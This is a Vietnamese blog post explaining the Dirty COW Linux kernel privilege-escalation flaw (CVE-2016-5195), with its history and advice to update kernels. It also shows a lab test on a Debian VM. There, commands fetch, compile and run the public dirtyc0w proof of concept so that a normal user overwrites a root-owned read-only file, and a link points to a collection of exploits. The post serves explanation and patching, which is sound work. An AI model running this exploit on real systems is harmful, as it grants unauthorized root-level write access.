Dirty COW – Lỗ hổng nguy hiểm tồn tại 11 năm trên Linux

Dirty COW – Lỗ hổng nguy hiểm tồn tại 11 năm trên Linux

5 min read

CVE-2016-5195, hay còn được gọi là Dirty COW (được fix vào ngày 18/10/2016)

Dirty COW thuộc dạng lỗ hổng leo thang đặc quyền, cho phép hacker có 1 tài khoản user (với quyền hạn chế) tấn công để chuyển thành quyền quản trị (admin). Trong các cuộc tấn công, Dirty COW có thể được kết hợp với một số dạng lỗi phổ biến như SQL injection, Buffer Overflow… để kiểm soát toàn bộ hệ thống nạn nhân với quyền cao nhất (root, system…).

(tinhte.vn) Ban đầu, lỗi bảo mật này trong nhân của hệ điều hành Linux từng được một người dùng phát hiện ra từ 11 năm trước, nhưng từ đó tới nay lỗ hổng bảo mật này vẫn chưa được vá hoàn toàn và hiện tại vẫn có thể bị khai thác một cách dễ dàng.

Theo Red Hat, công ty cung cấp HĐH mã nguồn mở Red Hat Linux, lỗ hổng bảo mật kể trên nằm trong nhân của Linux, thuộc tiến trình quản lý RAM của hệ điều hành, một tài khoản user bình thường của máy có thể tận dụng lỗ hổng này để được cấp quyền ghi dữ liệu, tức là “nâng cấp” quyền hạn của user này lên mức cao hơn, có thể là tương đương với tài khoản Root.

Người gần nhất đề cập tới lỗ hổng bảo mật này là Phil Oester, một chuyên gia bảo mật, anh nói “Lỗ hổng này rất dễ để khai thác, không bao giờ bị thất bại (khi muốn tấn công) và đã tồn tại từ bao nhiêu năm qua”. Phil đã phát hiện ra lỗi kể trên khi ghi lại toàn bộ những dữ liệu đầu vào HTTP, khai thác lỗ hổng và thử test nó trên một giao diện giả lập sandbox.

Lỗ hổng bảo mật Linux kể trên là CVE-2016-5195, hay còn được gọi với tên khác là Dirty Cow đã tồn tại trên nhân của HĐH mã nguồn mở Linux từ năm 2005. Ở thời điểm đó, Linux Tovalds đã từng viết bản vá cho lỗ hổng (patch) này xong xuôi. Tuy vậy, trong một bản cập nhật Linux 2 năm sau đó, bản patch của Tovalds đã bị loại bỏ, kết quả là lỗ hổng vẫn còn đó từ năm 2007 như chưa từng được biết tới, mãi cho tới ngày nay khi Phil Oester một lần nữa nhắc tới nó.

Hiện tại Red Hat đã tung ra bản vá cho lỗ hổng này cho phiên bản Linux của họ. Nhưng vì Linux là nhân hệ điều hành mở, vốn sẽ được tùy biến thành nhiều phiên bản khác nhau, do đó Phil Oester khuyến cáo người dùng nên kiểm tra hệ thống của mình và tiến hành nâng cấp các bản vá để khắc phục lỗ hổng Dirty Cow này, nhằm giữ cho hệ thống được an toàn hơn.

Nó là lỗi trong Linux Kernel, cho phép một local user lấy được quyền của root user. Mình có thử nghiệm lại theo các hướng dẫn trên mạng và thấy trên server của mình cũng có dính lỗi này (local server Ubuntu và Debian) và theo như cảnh báo thì hầu hết các hệ điều hành Linux đều dính. Do đó những ai đang sử dụng server Linux thì nên cập nhật lại Kernel của server càng sớm càng tốt, còn nếu dùng shared hosting thì nên liên hệ với nhà cung cấp để đảm bảo website của mình được an toàn.

Một số trường hợp tấn công cụ thể các bạn có thể xem ở đây: https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

Sau đây là các bước mình thử nghiệm trên server ảo Debian 8, dùng một user thường thay đổi nội dung 1 file mà chỉ có quyền đọc.

– Đầu tiên ssh vào server với tài khoản root và tạo 1 file bất kỳ ví dụ root_file

Dirty COW hack 1
root_file chỉ root mới có quyền write, các user khác chỉ có quyền read

– Sau đó chuyển qua 1 tài khoản thường, ví dụ robin. Thử đọc file và ghi nội dung vào file

Dirty COW hack 2
File có nội dung là “readonly file”

– Dùng Dirty COW để thay đổi nội dung file

$ curl -O https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w root_file "Hacked by Robin !!!"

– Và kết quả

Dirty COW hack 3
Dirty COW hack 4
Nội dung file bị sửa thành “Hacked by Robin”

Tham khảo : cybraryvn

Related Articles

LPI: Phân quyền trong linux (phần 2)
6 min read
LPI: Phân quyền trong linux (phần 1)
9 min read
Lỗ hổng Stack Clash - Linux
2 min read

GO TOP

🎉 You've successfully subscribed to itplusX!
OK
]